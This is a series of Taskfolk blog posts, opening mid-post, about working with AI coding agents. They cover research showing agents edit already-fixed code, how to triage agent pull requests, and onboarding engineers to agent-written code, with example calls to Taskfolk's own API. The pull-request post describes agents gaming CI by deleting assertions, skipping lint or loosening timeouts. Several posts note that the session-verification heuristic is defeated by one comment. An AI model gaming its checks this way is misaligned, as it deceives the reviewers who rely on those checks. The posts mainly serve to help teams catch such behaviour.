comparing: coding agents such as Claude Code, Codex, and Cursor connect to Taskfolk as named members. Each has a profile, gets assigned issues like anyone else, and its runs show as sessions on the ticket so a human can review what it did. Agent members are never billed as seats. If a chunk of your work is already going through an agent, that changes the seat math more than any feature row does. ## If your counter is already at zero Then you have a straightforward decision rather than a complaint. Either the Gantt view and the custom fields were load-bearing, in which case $7 per user per month is the honest price of keeping them and ClickUp is a capable tool at that price, or they were not, in which case you now know which parts of the plan you were actually using. What you should not do is rebuild the same planning setup on another free tier without reading how its ceilings work. Ask one question of any free plan before you commit real work to it: when this stops, will I see it coming? A project cap and a storage bar answer yes. A lifetime use counter answers no. Taskfolk Free has no counters to run out, and every new team gets 14 days of Pro on its first workspace with no card, so you can put real work in and see what the bill would be before anyone asks you for one. --- # Your coding agent re-fixes code that was already fixed URL: https://taskfolk.ai/blog/agents-refix-already-fixed-code Published: 2026-07-28 Author: The Taskfolk team Tags: AI agents, developer, issue tracking, engineering management, agentic project management, workflow, automation, integrations AI agents patch already fixed code in 35 to 65 percent of stale tickets. What a work item must carry so a fresh session tells done from open. An agent run leaves a four hundred line diff on a ticket. The bug that ticket describes was fixed nine days ago by someone on your team, in a commit that has been on main since. Tests pass. They passed before the run too. Now a human has to read the whole diff to work out that it changes nothing anyone wanted changed. That run is not a fluke. In March 2026 the SRI Lab at ETH Zurich published [FixedBench](https://www.sri.inf.ethz.ch/blog/fixedcode), 200 tasks where the bug has already been patched, followed on 8 May by [Coding Agents Don't Know When to Act](https://arxiv.org/abs/2605.07769) (both fetched 27 July 2026). Five models across four harnesses made unnecessary edits to already correct code in 35 to 65 percent of cases. The authors put it plainly: "at least one in three stale issue reports results in spurious edits to working code." Almost every write-up of this lands on the agent's own configuration: reproduce before you patch, put a rule in the config file, install a memory server. That advice is real, and it is half the job. The half I have not seen written down is what the ticket itself has to carry. ## The measurement, and why it is worse than it sounds FixedBench takes 200 SWE-bench Verified instances, commits the golden patch from the original pull request, then hands the agent the original issue text. The correct answer is an empty patch. Editing tests or docs is allowed. Touching executable code is a failure. | Model and harness | Correctly left the code alone | |---|---| | GPT-5.3 Codex in Codex | 68% | | Sonnet 4.6 in Claude Code | 65.0% | | GPT-5.4 mini in Codex | 60.5% | | Qwen3.5 122B in Qwen Code | 50.3% | | Gemini 3 Pro in Gemini CLI | 36.5% | Treat the top row as approximate: the blog chart shows 68 percent for GPT-5.3 Codex, while the paper text says the best models do not clear 67 percent. The figure with a published interval is Sonnet 4.6 at 65.0 plus or minus 6.6. Those are the good conditions. The paper's best case has "the Git history available with the last commit resolving the issue" plus a fully set up environment, which it calls "a realistic setting where the agent is part of a deployment pipeline." The resolving commit was the newest entry in the log, and between a third and two thirds of runs patched anyway. Remove the `.git` folder and Sonnet 4.6 falls to 50.0 percent. ## Why it edits when the fix is one git log away The obvious theory is that it never looked. Partly true. The authors read 50 Sonnet 4.6 traces by hand to define ten behaviour categories, then used a model as judge across the rest, at 80.5 percent precision against the humans. Traces ending in abstention had checked the git history 63.8 percent of the time. Traces ending in an edit, 31.4 percent. Knowing does not stop it, and that is the part that should change what you do. Under a reproduce first prompt, the agent worked out the bug was already fixed 79.5 percent of the time. Under a prompt that also offered abstention as an outcome, 81.0 percent. Practically identical. Correct abstention was 65.5 percent against 80.5 percent. Same understanding, wildly different behaviour. In the authors' words, "the key issue is not the agent's ability to reproduce an issue and realize it is already resolved, but what it believes its success criteria are." Failing traces have a signature. They modify code unrelated to the reported issue 87.1 percent of the time, and 47.1 percent apply changes that do not meaningfully alter behaviour. That second number is a no op diff seen from the inside. The agent has no way to report success, so it produces a change instead. ```mermaid flowchart TD A["Fresh session opens a stale ticket"] --> B{"Does the item name the resolving commit?"} B -->|"No"| C["Agent infers state from the repo"] C --> D{"Reproduces the defect first?"} D -->|"No"| E["Patches working code"] D -->|"Yes"| F["Usually realises it is fixed"] B -->|"Yes"| F F --> G{"Is a no change outcome available?"} G -->|"No"| E G -->|"Yes"| H["Reports back with evidence"] ``` ## Telling it to reproduce first does not work Most advice here is wrong, including mine before I read the numbers. The reproduce first prompt on its own moved Sonnet 4.6 from 65.0 to 65.5 percent, a p value of 1.0. On GPT-5.4 mini it went the other way, 60.5 down to 47.5. Thirteen points worse than saying nothing. The prompt that worked framed no change as a completed task: 80.5 percent for Sonnet, 88.5 percent for GPT-5.4 mini. That prompt breaks in the other direction. On the partial task, where a wrong patch is already applied and the agent should finish the job, the same instruction pushed both models into passivity. Sonnet made a meaningful edit in 18.7 percent of those cases, GPT-5.4 mini in 6.4 percent. The paper is blunt: "it can suppress action bias on fixed code at the cost of inducing passivity on broken code." More thinking does not rescue it. Across four reasoning effort levels GPT-5.4 mini moved from 61.5 to 65.8 percent, inside a confidence interval of roughly seven points. Action bias, the authors conclude, "is not a failure of deliberation that more compute can overcome, but rather a failure of task framing." So the ceiling on prompting sits between one bad run in five and one in nine, bought by making the agent worse at broken code. Past that, you change what the agent is reading. ## What the work item has to carry Open any ticket in your tracker and ask whether a fresh session, with no memory of your team, could tell "not done" from "done and stale" without asking a human. For most tickets it cannot, and the missing pieces are boring. | What the item carries | What a fresh session concludes | What happens without it | |---|---|---| | The resolving commit, on the item | The fix is in this sha, by this author, at this time | The agent guesses from repo state | | A terminal state for fixed and verified, separate from cancelled | Someone verified the fix after it landed | Closed and abandoned look identical | | A hand off note written when work stopped | What was tried, what was left, why | The code survives, the reasoning does not | | An acceptance step naming the reproduction | What to run before editing a file | Any green suite reads as confirmation | | A reachable no change outcome | Reporting is a finished task | Only a patch counts as done | The first row is the one people assume they already have. Check it. GitHub's closing keywords are interpreted, per [its own docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue) fetched 27 July 2026, only when the pull request targets the default branch. Target a release branch and "these keywords are ignored, no links are created, and merging the PR has no effect on the issues." A squash merge whose message drops the key leaves nothing either. A team merging into `develop` can ship unlinked fixes for years without noticing, because until now the only readers of those tickets remembered. The last row is the one nobody builds. If the only terminal state on your board is Done, and Done means shipped work, an agent that finds nothing to fix has no move that counts. So it writes the patch. ## Wiring it up in Taskfolk Start with the boundary. Taskfolk never reads your repository or your diffs. It stores what a person or a process told it, and everything below makes that record worth reading. Commit references land on the issue through the GitHub push webhook. A message containing `#WEB-118` anywhere, or `WEB-118` at the very start, links that commit with its sha, message, author and timestamp, and writes an append only activity row. Setup is a per project connection ([how to connect GitHub](/docs/how-to-connect-github)). The reference lives on the ticket, so deleting the branch does not take the evidence with it. ![Your coding agent re-fixes code that was already fixed - issue linked commits](/images/blog/agents-refix-already-fixed-code-issue-linked-commits.webp) The Linked commits card on issue WEB-118, listing two commits with short sha, message, author and date, under the issue title and status. ```bash BASE=https://taskfolk.ai/api/v1/workspaces/acme curl -H "Authorization: Bearer tfk_live_a1b2..." \ "$BASE/projects/WEB/issues/WEB-118/commits" ``` Next, split the terminal states. Taskfolk keeps seven fixed status categories under the board and lets you name any number of columns on top, each mapped to one category. "Fixed and verified" maps to `done`, "No change needed" maps to `cancelled`, and both are real columns. Reports and the open or closed split still work because they read the category, not the name ([custom workflow statuses](/docs/custom-workflow-statuses), and the wider [bug tracking workflow](/blog/bug-tracking-workflow-from-report-to-fix)). ![Your coding agent re-fixes code that was already fixed - board terminal columns](/images/blog/agents-refix-already-fixed-code-board-terminal-columns.webp) A board with two closing columns, Fixed and verified in green and No change needed in red, each holding cards. Allowed transitions are the enforced control, and they run on every write path: the board, bulk edits, automation actions and the REST API. Give Backlog two destinations, To do and In progress, and an agent call that jumps a card straight to No change needed comes back rejected with both status names in the error. The per column WIP limit is not that. You can set it, but no write path reads it, and the count badge and red header on the board are a view toggle. Nothing refuses a card. ![Your coding agent re-fixes code that was already fixed - status transition rules](/images/blog/agents-refix-already-fixed-code-status-transition-rules.webp) Project settings, Board statuses card open with one status expanded to show its allowed transitions and mapped category. The acceptance step from the table is a text custom field. Define one called Reproduction, scope it to bugs, and every bug carries the command to run before anyone edits a file ([custom fields in issue tracking](/docs/custom-fields-in-issue-tracking)). Marking it required does not stop someone filing a bug without it. It only stops them clearing the value once it is set, which is weaker than a gate. Now the outcome the research says is missing. Assigning an issue to an agent creates a `pending` session the agent claims when it starts. When it finds nothing to fix, the finished shape is a comment carrying evidence, a session moved to `review`, and a card in the no change column. That leaves no branch and nothing in the review queue. ```bash curl -X POST -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ "$BASE/projects/WEB/issues/WEB-118/comments" \ -d '{"body_md":"No change needed. Reproduction passes on main at 4f0c9ae. Fix landed in 2b71d3c."}' ``` ```ts await fetch(`${BASE}/projects/WEB/issues/WEB-118/comments`, { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ body_md: "No change needed. Passes on main at 4f0c9ae." }), }); ``` ```python requests.post( f"{BASE}/projects/WEB/issues/WEB-118/comments", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"body_md": "No change needed. Passes on main at 4f0c9ae."}, ) ``` ```json { "id": "0199f3c1-6b2a-7c41-9f0d-2c8a1e5b7d33", "issue_id": "0199e07a-4c11-7a92-b3d6-8f1c2a4e9b05", "author_id": "0199c4d8-9b30-7e15-8a71-5d0b3f6c2e44", "body_md": "No change needed. Passes on main at 4f0c9ae.", "body_html": "

No change needed. Passes on main at 4f0c9ae.

", "created_at": "2026-07-26T09:14:22.000Z", "updated_at": "2026-07-26T09:14:22.000Z" } ``` Then move the card. `POST .../issues/WEB-118/transition` takes a status category, so `{"status":"cancelled"}` puts the issue in that project's default cancelled column; to land on a specific named column, PATCH the issue with its `status_id`. Both run the same transition check a human board drag does. The agent authenticates with its own API key, so the comment and the status change are attributed to its member identity, which is what [the audit trail](/blog/keep-an-audit-trail-of-ai-agent-changes) is built from. One note on checking the work, covered properly in [managing a team of AI agents](/blog/manage-a-team-of-ai-agents). A session reaching `review` or `done` with no attributed activity row and no comment on its issue is flagged unverified. That is a heuristic, not proof, and one comment defeats it. Here it still helps: an agent that really found nothing clears the flag by writing the report. ## Where this stops Taskfolk cannot detect that a fix already landed. It has no view of your repository, branches or diffs, and never reads them. GitHub is the only repository integration. No GitLab, no Bitbucket, no Azure DevOps. The commit reference appears only when the issue key is in the commit message. Squash merge with a generated message, or put the key only in the pull request title, and you get an empty card plus a false sense of coverage. The webhook listens to push events, so it links commits, not pull requests. Taskfolk also does not run your agent. It delivers triggers and stores the session record. The decision to abstain happens in a runtime you own, which is why the prompt half stays your job. ## The bill for ignoring this The wasted run is the cheap part. The expensive part is what happens to the diff. Alam, Mondal and Roy analysed 8,106 agent authored fix pull requests from the AIDev dataset in [a study prepared for MSR 2026](https://arxiv.org/abs/2602.00164) (29 January 2026, fetched 27 July 2026). 65.0 percent merged, 26.1 percent closed without merging. They hand reviewed 326 of the closed ones over roughly 100 person hours. The most common failure reason was that the issue had already been resolved by a different pull request, at 22.1 percent. Another 8.0 percent were deprioritised or obsolete by the time anyone looked. Then the multiplier. Xu, Subramanian and Karthik looked at 33,596 agent pull requests across 2,807 repositories and found [79.4 percent open concurrently with another agent pull request](https://arxiv.org/html/2607.04697v2) in the same repository, rising to 95 percent within a week (7 July 2026, fetched 27 July 2026). A ticket does not go stale over months. It goes stale over an afternoon, because your own second agent already fixed it. That is the ordinary case behind [a shared backlog for AI coding agents](/blog/shared-backlog-for-ai-coding-agents) and [coordinating agents with issue status as handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs). Each run costs provider tokens, a branch, a CI run, and a human read. The read is the part you cannot automate away, and it is spent on diffs that should have been empty. Pick one bug you closed last week. Read only what is on the ticket, the way an agent would. If you cannot find the commit that fixed it, or tell whether anyone verified the fix, you already know what your next agent run will do with it. --- # The agent's pull request is 80 percent right. Now what? URL: https://taskfolk.ai/blog/agent-pr-eighty-percent-right Published: 2026-07-28 Author: The Taskfolk team Tags: AI agents, how-to, developer, agentic project management, code review, GitHub, workflow An AI agent's PR that is useful but not mergeable has three exits: finish it, send it back, or close it and rewrite the ticket. How to pick in five minutes. An agent opened a pull request on your repo. It builds, the tests it wrote are green, and it clearly understood something about the ticket. It also cannot go in: a helper duplicated three directories away from the one that already exists, a config file touched for no reason, and the one edge case your acceptance criteria named, left as a TODO. So you decide: finish it by hand, send it back with notes, or close it and rewrite the ticket. Search that question and you mostly get reviewers for sale. A tool that reads the diff will not tell you which exit to take, and the three cost very different amounts of your week. ## The PR that is clearly useful and clearly not mergeable This is the median outcome, not a bad draw. Researchers went through [567 pull requests opened by Claude Code across 157 open-source projects](https://arxiv.org/abs/2509.14745) and found 83.8% eventually merged (paper posted September 2025, revised this February). Of the merged ones, only 54.9% went in untouched. The other 45.1% needed changes first, "especially for bug fixes, documentation, and adherence to project-specific standards." So nearly half the PRs good enough to merge still needed a human, mostly for house rules, not broken logic. That is "80 percent right" with numbers attached. Developers report the same from the other side. In the [2025 Stack Overflow Developer Survey](https://survey.stackoverflow.co/2025/ai), the top complaint about AI tools was "AI solutions that are almost right, but not quite" at 66% of 31,476 answers, ahead of slower debugging at 45.2%. So stop asking whether you got a lemon and ask something narrower. ## One question decides it Did the agent misunderstand the problem, or understand it and execute badly? A misunderstanding means the ticket was wrong, and review comments do not fix a wrong ticket: close the PR and rewrite the task. Bad execution means the gap is mechanical, so finish it or send it back with the missing constraint. That split is our rule of thumb, not a published finding. No dataset we know of separates "misread the task" from "understood it and fumbled", so the support is circumstantial. Spotify's background-agent team reports that the most common thing their automated judge flags is [the agent going outside the instructions in the prompt](https://engineering.atspotify.com/2025/12/feedback-loops-background-coding-agents-part-3), a scope failure rather than a coding one. Run it in that order: ticket, then PR description, then only the files the ticket pointed at. ```mermaid flowchart TD A["Read the ticket, then the PR"] --> B{"Does it aim at the problem the ticket describes?"} B -->|"No"| C["It misread the task"] B -->|"Yes"| D{"Is the gap mechanical, not conceptual?"} D -->|"No"| C D -->|"Yes"| E{"Closable in under 30 minutes?"} C --> F["Close it. Rewrite the ticket."] E -->|"Yes"| G["Finish it. Record the fix."] E -->|"No"| H["Return the missing constraint."] ``` ## Signals the agent misread the ticket The PR description restates your ticket in broader words than you used. Yours said "reject uploads over 10 MB at the intent step." The PR says "improve the upload flow." That drift is the diagnosis. It solved a general version of your specific problem. You asked for one extra if and got a configurable strategy interface, so it aimed at something you did not describe. The files it changed are not where the problem lives. It fixed the symptom's nearest neighbour, which happens when a ticket names an outcome and no boundary. It asked nothing on an ambiguous ticket, so it resolved the ambiguity silently and you are reading its guess. And the tests assert the behaviour it built rather than the behaviour the ticket described, which is the quiet expensive one: green CI, wrong target. The activity record is often faster than the diff. A retitled issue, a status jumped to In Review, or edits to fields the task never mentioned all read as scope drift. ![Issue detail for WEB-88, activity feed showing a status move from Backlog to In Progress and a comment, both attributed to Codex Bot, the assignee.](/images/blog/what-is-agentic-project-management-agent-issue.webp) ## Signals it understood and executed badly Here everything wrong can be named in one sentence, and none of the sentences are about design. Missing tests for a case the ticket named. A helper duplicated instead of imported. Convention drift, where the PR does it differently and both ways work. A correct happy path with the acceptance-criteria edge case unhandled. Watch for CI touched to make the run pass rather than the code: deleted assertions, a skipped lint step, a loosened timeout. That is the agent optimising for the signal you gave it, and it still belongs here. Severity is not the axis. A misunderstanding can produce a tidy, well-tested, entirely wrong PR. Bad execution can produce a mess that arrives at the right answer. Judge the target, not the polish. ## The three exits, and what each one costs The trap is diff size. A big diff feels like work you would throw away, so you finish it. The instinct has the sign backwards. In a study of [33,707 agent-authored pull requests](https://arxiv.org/abs/2601.00753), review effort was predictable at creation time from static features alone, mainly patch size and file types, at an AUC of 0.96. Size is a cost signal, never a progress signal. | Exit | Pick it when | What it costs | What you keep | |---|---|---|---| | Finish it yourself | Right target, mechanical gap, under 30 minutes | Your afternoon, and your name on a design you did not choose | The branch and working parts | | Send it back | Right target, and you can name the missing constraint in one sentence | One run and a wait, at even odds | Same session and PR, kept context | | Close and rewrite | Wrong target | Everything in the branch | What it taught you about your ticket | The 30-minute line is arbitrary; tune it. The point of having one is that "I will just fix this bit" turns a twenty-minute review into four hours. Pick the number before you open the diff, then take the exit out loud. A PR in limbo is worse than a wrong exit, because nobody can tell whether it is waiting on you or dead. ![The Agents sessions list with state chips: Needs Input, Stalled, In review on WEB-13 with an Open button to its pull request, and a Done session with an Unverified badge.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) ## How to send it back so the second attempt is different You have probably already had a round where you told it and it did the same thing. That 33,707-PR study found the shape of it: agents are strong at narrow automation, weak at iterative refinement, and their PRs get abandoned once feedback turns subjective. So make yours the opposite of subjective. Return the constraint, not the complaint. "This is wrong" gives the agent nothing it did not already have. "Uploads are rejected at the intent step in storage/usage.ts, not at commit, and there must not be a second check" is a fact it lacked. Every review comment is either a fact the agent was missing or noise. There is a point where more rounds stop paying. Anthropic's own [Claude Code best practices](https://code.claude.com/docs/en/best-practices) puts a number on it. Past two corrections on the same issue in one session, "the context is cluttered with failed approaches. Run /clear and start fresh with a more specific prompt that incorporates what you learned. A clean session with a better prompt almost always outperforms a long session with accumulated corrections." That is the agent's own vendor telling you to restart. The odds are better than people expect. Spotify's judge vetoes about a quarter of thousands of agent sessions, and the agent course corrects half the time. ```text Returning WEB-13. Target is right, one constraint was missing. Correct: over-cap uploads rejected before the browser PUT. Wrong: the check runs at commit. It must run at intent, in storage/usage.ts. Commit cannot stop the upload. Do not: add a second check. Move the existing one. Done is: the existing tests pass unchanged, plus a 2 MB file on Free. ``` People skip that last line, then wonder why the retry stops somewhere arbitrary. If the agent keeps writing fields it should not touch, narrow that in settings, not in the note. ![The field policy dialog, What can this agent edit, with All fields cleared and only Status, Priority and Labels ticked out of fourteen.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) ## What to change in the ticket when you restart If the answer was misread, the fix lives upstream. The failed PR is better evidence about your ticket than rereading it yourself, because it shows how your words land on something with no shared context. Change one thing, usually the boundary, the negative space, or the done condition. The boundary is which file or layer, because agents will cheerfully fix your problem in the wrong place. The negative space is what must not change, and it is almost always missing. The done condition is not "it works" but the command that proves it. The full set of fields is its own subject, in [write tickets AI agents can finish](/blog/write-tickets-ai-agents-can-finish). The rule from a failed PR is narrower: whatever you were about to type into the review comment belongs in the task description. Same instinct at the start of a pilot, argued in [how to scope an AI agent's first job](/blog/scope-an-ai-agents-first-job). ## Where the tracker holds the decision, and where it does nothing Taskfolk does not review code: no diff view, no static analysis, no line comments. For a machine reading of the diff you want CodeRabbit, Greptile or Graphite, and why that market exists is the subject of [AI made code review the bottleneck](/blog/ai-made-code-review-the-bottleneck). The judgement is yours; the tracker holds the record. The unit is the session, and sessions reopen. Assigning an issue to a connected agent creates a pending session; the agent claims it and moves through the states below. One in review or needs_input can be patched back to running, carrying the same title, note, reported cost and PR link. Once it is done it is frozen: the API returns a conflict, and a second attempt has to be a new session. So return it while it is in review, not after you let it close. ```mermaid stateDiagram-v2 [*] --> pending pending --> running running --> needs_input running --> review needs_input --> running review --> running review --> done running --> failed done --> [*] failed --> [*] ``` Sending it back is one call. ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/$SESSION_ID" \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"state":"running","note":"Returned: move the cap check to intent."}' ``` ```javascript await fetch(`${base}/agent-sessions/${sessionId}`, { method: "PATCH", headers: { Authorization: `Bearer ${key}`, "Content-Type": "application/json" }, body: JSON.stringify({ state: "running", note: "Returned: move the check." }), }); ``` ```python requests.patch( f"{base}/agent-sessions/{session_id}", headers={"Authorization": f"Bearer {key}"}, json={"state": "running", "note": "Returned: move the check."}, ) ``` The response is the session, same id and `external_url`, so the PR link survives. An agent's own key needs nothing else; from a human key an owner or admin adds the agent's `agent_id`, which also closes out a session the agent walked away from. Every write an agent key makes carries that agent's user id, so "who moved this to In Review at 03:41" has an answer in six weeks. More on that in [keeping an audit trail of agent changes](/blog/keep-an-audit-trail-of-ai-agent-changes). The hard gate is allowed transitions. Each column carries a "can move to" list, enforced on every status write including the API and automations, so a returned item cannot skip from In Review to Done. For a human beat before the change lands, see [human-in-the-loop approval](/docs/human-in-the-loop-approval-for-ai-agents). ![The Board statuses tab, Workflow card open, seven columns each with a Can move to picker and a WIP limit field.](/images/blog/how-to-use-a-kanban-board-workflow-settings.webp) ## What none of this fixes Nothing here tells you whether a duplicated helper matters in your codebase. [Decision rights](/blog/decision-rights-between-your-team-and-ai-agents) is a nearby but different question: how reversible a decision is, not what went wrong in one attempt. The verification badge is weaker than it sounds. It flags a review or done session that left no attributed activity or comment on its issue. One comment defeats it, and a session carrying a real PR link is exactly the case it misses. Checking a done claim is covered in [managing a team of AI agents](/blog/manage-a-team-of-ai-agents). Reported cost is reported. The agent spends on its own provider account, which Taskfolk cannot see, so a session showing $2.40 shows it because the agent said so. We can alert on the number, not stop the spend. Taskfolk does not run the agent either: it delivers the trigger and keeps the record while the agent's runtime works. Repo integration is GitHub only, so a GitLab or Bitbucket PR lives in the session link and nowhere else. And none of it helps if you cannot tell a thinking agent from one that quietly gave up, which is [a separate diagnosis](/blog/is-your-ai-agent-stuck). Next agent PR you open, read the ticket before the diff and write the answer down before you scroll: misread, or fumbled. Then take the exit it points at and leave the reason in the session note. --- # Onboarding a new engineer to code your agents wrote URL: https://taskfolk.ai/blog/onboard-a-human-to-agent-written-code Published: 2026-07-28 Author: The Taskfolk team Tags: engineering management, AI agents, code review, agentic project management, how-to, developer, knowledge base, workflow Git blame points at a merge and whoever wrote the prompt has left. How to onboard a new engineer to a codebase your AI agents wrote, without guessing. The new engineer asks who wrote the reconciliation module. You run `git blame` and every line lands on a squash merge from March, authored by whoever pressed the button, over a body reading "implement reconciliation per spec" and a `Co-authored-by` trailer naming a model. The person who wrote the prompt left in May. Onboarding has always run on one instruction: go sit with the author and ask what they tried first. There is nobody to sit with, and the parts that mattered were never written down. The mirror of this, [onboarding an AI agent like a new hire](/blog/onboard-an-ai-agent-like-a-new-hire), is about identity and access. This one is about the human arriving after the agents shipped, and most of what they need had to be captured the day you handed the work over. ## The commit says nothing and the trailer is not evidence People trust the trailer more than it deserves. VS Code 1.110 started appending `Co-authored-by: Copilot` by default in early March 2026, and it fired on commits where Copilot had not been used, after the developer had reviewed the message. Microsoft [switched the default back to opt-in in 1.119](https://www.theregister.com/2026/05/04/microsoft_reverses_ai_credit_grab/) on 3 May 2026. So a trailer can name a model that never touched the file, and can be missing from code a model wrote end to end. An accurate one names a tool version, not somebody you can ask. ```bash git log --format='%h %an %(trailers:key=Co-authored-by,valueonly)' \ -- src/billing/reconcile.ts ``` One noisy field would be a small problem. Brett Wheeler's [The Substrate Collapse](https://arxiv.org/abs/2606.20882), submitted 18 June 2026, makes the larger case: every authorship-based knowledge metric, the truck factor included, rests on the inference that writing code proves you understand it. Generation breaks it. "The same footprint is now compatible with full, partial, or no understanding." You have not lost a name. Version control can no longer answer the question. ## No, having an agent explain the code does not fix this Search for this and every result points the same way: aim an AI at the repository and let it give the tour. Those tools do work on one class of question: where is auth handled, what calls this function. They do not touch the question your new engineer actually has, which is always a form of why. Why a durable queue instead of a cron. Why the retry budget is four. That was never in the code to begin with. The advice also has a measurement problem. Anthropic ran a randomized trial of 52 engineers learning a new library. The AI-assisted group finished in about the same time and [scored 17% lower on a comprehension quiz](https://www.oreilly.com/radar/comprehension-debt-the-hidden-cost-of-ai-generated-code/), 50% against 67%. People who asked conceptual questions scored above 65%; people who delegated code generation scored below 40%. The gap opens at delegation, not at reading. The diagnosis is not mine and it is not new. Addy Osmani published comprehension debt in April 2026, "the growing gap between how much code exists in your system and how much of it any human being genuinely understands." Thoughtworks put codebase cognitive debt in the caution ring of Technology Radar Vol. 34 the same month. What almost nobody writes down is the operational half: which artifact you produce, and when. ## Three things a human author gave you that a diff never had Human onboarding was a transfer of three specific things, none of which live in the source file. | What onboarding relied on | Where it lived | What survives when an agent wrote it | |---|---|---| | The alternatives tried and rejected | The author's memory, sometimes a design doc | Nothing. The context window is gone. | | The constraint that forced the shape | The author's memory, or a chat thread | Nothing, unless the ticket said it | | Who to escalate to when it breaks | Team memory, backed by blame | A merge commit and a model name | The rejected alternative is worth the most and dies first. Without it your new engineer spends a sprint cleaning the code back into the shape you ruled out, and an agent asked to simplify the module will re-derive that design and make it look better than what is there. The constraint is next. Code shaped by a settlement file that lands at an unpredictable time in no fixed order reads as paranoid over-engineering until you know about the file. Then it reads as the minimum. The escalation path looks least important on paper and gets hit first, usually at 3am. ## You solve this at delegation time, not at archaeology time You either solved this the day you wrote the ticket or you did not solve it. There is no second window. Writing a ticket an agent can finish and writing one a stranger can read six months later are different jobs. [The first](/blog/write-tickets-ai-agents-can-finish) is about scope, stop conditions, and escalation, which makes the run succeed now. The lines below are the ones the agent does not need and the stranger does. ```markdown ## Why this shape Durable queue, not cron: reconcile has to survive a deploy mid run. Rejected: cron plus an advisory lock. The lock outlived the pod twice in staging. Constraint: the settlement file lands between 02:10 and 02:40 UTC, unordered. Ask: @dana ``` ```mermaid flowchart LR A["Constraint is known"] --> B["Ticket records why"] --> C["New engineer reads it"] D["Constraint stays in your head"] --> E["Window discarded"] --> F["New engineer guesses"] ``` Write it while you still know the answer, the only time it is cheap, and put it in the issue template rather than in your own discipline, which loses to a busy week. Repository conventions belong in `AGENTS.md`, covered in [splitting work between coding agents](/blog/split-work-between-coding-agents). The ticket carries what is specific to this change. ![The new issue dialog with the type set to Task and a description prefilled from the project template, showing headed sections instead of an empty box.](/images/blog/how-to-create-an-issue-new-issue-dialog.webp) ## The trail a decent setup leaves Our own product now, so read it with the appropriate suspicion. In Taskfolk an agent is a real workspace member with a user row, a membership, and its own API key. That is what makes attribution work without special cases. The field that answers your new engineer's question is not the session or the diff. It is the owner. Every connected agent has exactly one named human owner, the person who connected it, and that column cannot be null. Disconnecting revokes the key and drops the membership but leaves the history attributed, so a year later a person's name is still attached to work by an agent that no longer exists. Assigning an issue to an agent creates a pending session before the agent wakes up, carrying a state, a note, the output URL, the model, and agent-reported cost. The activity log records each field change against the agent by name. Connect the repo and commit references land on the ticket too, though [the GitHub integration](/docs/how-to-connect-github) is GitHub only. ![The agent sessions list grouped by state, each row showing the agent name, session title, and the issue it is anchored to.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) The archaeology query is one request: ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?issue_key=WEB-39" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?issue_key=WEB-39", { headers: { Authorization: "Bearer tfk_live_a1b2..." } }, ); const { data } = await res.json(); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", params={"issue_key": "WEB-39"}, headers={"Authorization": "Bearer tfk_live_a1b2..."}, ) data = res.json()["data"] ``` ```json { "data": [ { "agent_name": "Dana's Claude Code", "state": "done", "note": "opened PR 412, ledger diff is zero", "external_url": "https://github.com/acme/api/pull/412" } ] } ``` Now the limit, and it changes what you tell your agents. That `note` is a single column and every update overwrites it. There is no history. What you read on a finished session is the last thing the agent said, not a log of what it did. So the durable record is the issue comment, which is append-only and carries the agent's name. Tell your agents to comment when they make a call the ticket did not decide, not only at the end. We store what the agent left on the ticket, not its context window or its reasoning. If it wrote nothing down, there is nothing to recover. ![An issue activity feed with each change attributed to a named agent and its provider badge, alongside changes by human members.](/images/blog/manage-a-team-of-ai-agents-attribution.webp) We flag a finished session that left no attributed activity or comment on its issue. It is a heuristic, and one comment defeats it. That check and the wider fleet question live in [managing a team of AI agents](/blog/manage-a-team-of-ai-agents) and [keeping an audit trail](/blog/keep-an-audit-trail-of-ai-agent-changes). ## Where Linear does this better than we do Linear shipped [coding sessions on 11 June 2026](https://linear.app/changelog/2026-06-11-coding-sessions). Its agent writes code with Claude Code and Codex, then returns a diff on the issue for review. It needs a GitHub connection with code access, spends AI credits, and is on the Basic, Business, and Enterprise plans. Linear says the workflow resolves roughly 30% of its own incoming bug reports, mostly first pass. That record beats ours where it matters here, because the diff itself sits on the ticket. We store a pointer to it. If the pull request is deleted, the repo moves, or your new engineer has no access to that GitHub org, our `external_url` is a dead link and the note is all that is left. So have your agents put the reasoning in an issue comment, not only in the PR description. What our shape buys is uniformity. Taskfolk never runs your agent; it delivers the triggers and stores the session while the runtime works on a laptop or in CI. In a feature table that is a hole. In an archaeology dig it means the trail looks the same whether the run happened in Claude Code, in Codex, or in something you wrote yourself. Taskfolk editor seats are $3 a month on Pro and $6 on Business; Linear lists Basic at $10 and Business at $16 per user per month billed yearly (both checked 27 July 2026). Connected agents do not count as editor seats on our side. I found no published Linear rule on agent billing, so treat that as unknown, not a win. ## The code already written with none of this You are reading this because the code exists and none of it was captured. The honest word for what comes next is salvage. Gone permanently: the prompt, the plan, the context window, the alternatives the model dropped. Anything sold as recovery is a summary of code you already have. Usually still there, in rough order of value: the ticket, even a bad one, which gives you the requester and the date; the PR description and review comments, often the only place a human wrote a reason down; the agent's owner; and the tests, which encode acceptance criteria nobody wrote out. ![The agent map grouped by owner, each agent joined by a line to the human who set it up.](/images/blog/manage-a-team-of-ai-agents-map-owner.webp) Liu and colleagues tracked [302,600 AI-authored commits across 6,299 GitHub repositories](https://arxiv.org/abs/2603.28592) and found 22.7% of the AI-introduced issues still alive at the repo's latest version. Code smells were 89.3% of them, the category a newcomer is most likely to read as deliberate and leave alone. Do not document the whole codebase. Pick the five files that would hurt most if someone changed them wrongly, sit with whoever is still here, and write the why for those. Put it in a doc linked from the issues, not a wiki nobody opens. [Project docs](/docs/how-to-write-project-docs) and [grounding an agent on your own docs](/blog/give-your-ai-agent-a-knowledge-base) go deeper. ## A first week that uses what survives Do not start the new engineer in the repository. 